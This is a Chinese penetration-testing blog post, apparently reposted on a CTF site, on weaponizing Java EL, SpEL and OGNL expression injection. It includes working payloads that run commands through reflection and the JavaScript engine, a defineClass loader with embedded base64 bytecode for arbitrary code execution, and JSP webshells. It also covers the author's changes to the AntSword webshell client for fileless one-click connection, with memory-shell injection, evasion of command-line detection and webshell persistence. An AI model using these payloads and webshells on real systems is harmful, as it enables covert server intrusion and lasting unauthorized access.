Java表达式注入的武器化利用

渗透技巧 3年前 (2022) admin
633 0 0

前言

Java安全从业者能吃上饭的三个主要原因:反序列化,JNDI注入,表达式注入(开个玩笑)。本文想就这三种类型的漏洞的利用谈谈自己的看法,同时提出表达式注入下的武器化利用方法。

关于武器化

在本人看来,漏洞武器化利用方式主要有以下几个特点

  1. 便捷性:一键式、傻瓜式操作。

  2. 通用性:兼容各种环境。

  3. 支持任意代码执行,而非单纯命令执行。

  4. 扩展性:联动其他工具。

目前大多数工具只是做到了任意命令执行,但是在实战中我们更希望得到一个任意代码执行的口子。原因是:

  1. 任意命令执行在进程命令行层面很容易留下痕迹被发现,而任意代码执行在语言函数层面,有天然的隐蔽的优势。

  2. 任意代码执行可以实现注入内存马等进阶操作。

        反序列化漏洞在Java安全中的重要性无需多提,其中较为著名的漏洞有weblogic系列漏洞,shiro反序列化漏洞等。其中较为有名的利用工具有ysoserial,几乎是每一个入门Java安全的同学必须学习的一个项目。但实际上ysoserial只是做到了最基础的“命令执行”,并不支持任意代码执行。wh1t3p1g师傅的ysomap则进行了大量的改进。不仅增加了非常多的利用模块,而且增加了很多利用链下任意代码执行的利用方式。

        JNDI注入。代表作Log4Shell,核弹漏洞。基础利用工具代表:marshalsec。武器化利用工具代表为feihong师傅的JNDIExploit。可以一键搭建ldap跟http环境,并且可以根据lookup对象的名称来执行动态的参数,还添加了一键注入内存马等功能。同样是做到了从任意命令执行到任意代码执行。

        表达式注入漏洞。代表成员有Struts2的ognl表达式注入,SpringBoot spel表达式注入,Tomcat的EL表达式注入等。但是目前大多payload还是弹一个计算器,并没有见到成熟的武器化利用方式。

那么怎么才能实现表达式注入的武器化利用呢?

中间层语言的选取

        Java中主流的表达式注入分为三种:EL,Spel,Ognl。不同表达式有不同的语法特点,有些必须要用反射去实例化类,有些可以直接new;有些表达式只能执行一句,有些可以执行多句。所以想要做到武器化利用就要选取一种通用的中间层语言。

自己曾经研究过一种基于JS引擎的Java一句话木马。其中JS引擎就非常符合我们的要求:

  1. 一行代码即可执行,无需执行多句

  2. JDK>=6都可以使用

  3. Java函数层面,可以做到任意代码执行

自己在博客文章里面对js引擎的各种语法进行了详细的解释:https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/

手工利用

环境搭建

Tomcat 8.5+jdk8

这里模拟了一个el表达式注入的场景

<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%    String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null);    out.print(res);%>

无回显执行命令

可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。

样例如下:

code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}

或者是借助js引擎

code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}

不过两者都是无回显的,不优雅。

有回显执行命令

最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:

 

${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}

 

由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。

所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。

经过简化后,我们的payload如下:

 

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = "cmd";s[1] = "/c";s[2] = "whoami";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");var result = sc.hasNext() ? sc.next() : "";sc.close();result;")}

Java表达式注入的武器化利用

任意代码执行

在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:

code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))}

ant参数内容如下:

 

try {    load("nashorn:mozilla_compat.js");  } catch (e) {}  importPackage(Packages.java.util);  importPackage(Packages.java.lang);  importPackage(Packages.java.io);  function Base64DecodeToByte(str) {    importPackage(Packages.sun.misc);    importPackage(Packages.java.util);    var bt;    try {      bt = new BASE64Decoder().decodeBuffer(str);    } catch (e) {      bt = Base64().getDecoder().decode(str);    }    return bt;  }  function define(Classdata, cmd) {    var classBytes = Base64DecodeToByte(Classdata);    var byteArray = Java.type("byte[]");    var int = Java.type("int");    var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(      "defineClass",      byteArray.class,      int.class,      int.class    );    defineClassMethod.setAccessible(true);    var cc = defineClassMethod.invoke(      Thread.currentThread().getContextClassLoader(),      classBytes,      0,      classBytes.length    );    return cc.getConstructor(java.lang.String.class).newInstance(cmd);  }    define(    "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",      "calc"    );

Java表达式注入的武器化利用

 

其中字节码部分可以换为注入内存马的payload等等。

蚁剑改造之一键连接

改造内容

之前的jspjs类型必须要在上下文中绑定request跟response对象。但是在Spel跟ognl大多数情况下无法直接获取到这两个对象。于是便对jspjs类型进行了一些改动:

1、取消对外部request跟response的依赖。

2、以编码器的形式内置了利用的payload。

具体commit可以看:

https://github.com/AntSwordProject/antSword/commit/797562b417271480628aa469789582a932318e47

原来的Shell必须要绑定request跟response对象

<%    try {        new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{            put("response", response);            put("request", request);        }}));    } catch (Exception e) { }%>

经过改造后连绑定对象这一步也可以省去了,demo如下:

<%    out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;%>

所以,现在不管是表达式还是什么场景,只要能够调用javax.script.ScriptEngineManager().getEngineByName(“js”).eval(xxx)这一句,理论上都可以用蚁剑进行无文件直接连接。

当然,现在的Shell跟之前的Shell并不冲突,两种都可以使用。有条件的话还是尽量使用第一种,原因后面会讲到。

EL表达式

起一个Tomcat,el.jsp内容如下

<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%>

打开蚁剑,选择el编码器,一键连接。

Java表达式注入的武器化利用

Spel表达式

springboot设置一个测试环境,以spel为例

  @RequestMapping("/spel")  public String eval(String spel){      SpelExpressionParser parser = new SpelExpressionParser();      Expression expression = parser.parseExpression(spel);      return expression.getValue().toString();  }

蚁剑选择spelbase64编码器可一键连接

Java表达式注入的武器化利用

Java表达式注入的武器化利用

至于为什么要加一层base64是因为发现如果直接发送的话,两个引号会被nashorn引擎吃掉成一个,然后报错。

Java表达式注入的武器化利用

Java表达式注入的武器化利用

Ognl表达式

以ognl为例

  @RequestMapping("/ognl")  public String eval(String str) throws Exception {      OgnlContext context = new OgnlContext();      Object ognl = Ognl.parseExpression(str);      Object value = Ognl.getValue(ognl, context, context.getRoot());      return value.toString();  }

选择ognl编码器,一键连接

Java表达式注入的武器化利用

As-Exploits一键连接

As-Exploits是蚁剑的后渗透模块,支持一键反弹Shell,一键注入内存马,一键加载ShellCode等操作。

在1.5版本中,增加了对jspjs类型的支持。

因为As-Exploits中jspjs的payload实际上是对jsp的payload又包了一层,而jsp的payload是硬编码了必须要依赖request跟response,所以如果想在表达式环境下使用,要先绑定request跟response对象,也就是第一种Shell的写法。

另外由于jdk6/7下的Rhino引擎过于傻逼,搞了一晚上解决了各种坑之后发现还是无法直接获取到Object.class(https://github.com/mozilla/rhino/issues/757),所以在Rhino引擎下如何在js里调用defineClass还没有实现,如果有搞出来的师傅可以教教我。

基本信息模块

Java表达式注入的武器化利用

内存马管理模块

Java表达式注入的武器化利用

测试一下内存马注入功能,打进去一个antSword的filter。执行,提示成功

Java表达式注入的武器化利用

去内存马管理模块里看一下,发现已经注入成功

Java表达式注入的武器化利用

通过蚁剑就可以连接我们注入的内存马了。

Java表达式注入的武器化利用

最后

借助蚁剑,我们基本做到了对表达式注入的武器化利用。主要有3个作用:

  1. 漏洞的无文件利用。蚁剑的编码器其实有点类似于profile,可以自定义各种请求参数。根据不同场景自己改一改payload,即可达到对指定漏洞的无文件利用效果。本文不涉及具体漏洞的利用,感兴趣的同学可以自己研究。

  1. 表达式下的任意代码执行。原来的表达式注入大多是直接执行命令,属于命令执行层面很容易检测,懂得都懂。

  2. 构造webshell维权。原来jsp webshell主要局限在defineClass,现在可以通过各种表达式来构造webshell了,格局打开。

参考

https://paper.seebug.org/794/

https://xz.aliyun.com/t/9245

http://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/

 

原文始发于微信公众号(网络安全回收站):Java表达式注入的武器化利用

版权声明:admin 发表于 2022年4月17日 下午10:38。
转载请注明:Java表达式注入的武器化利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...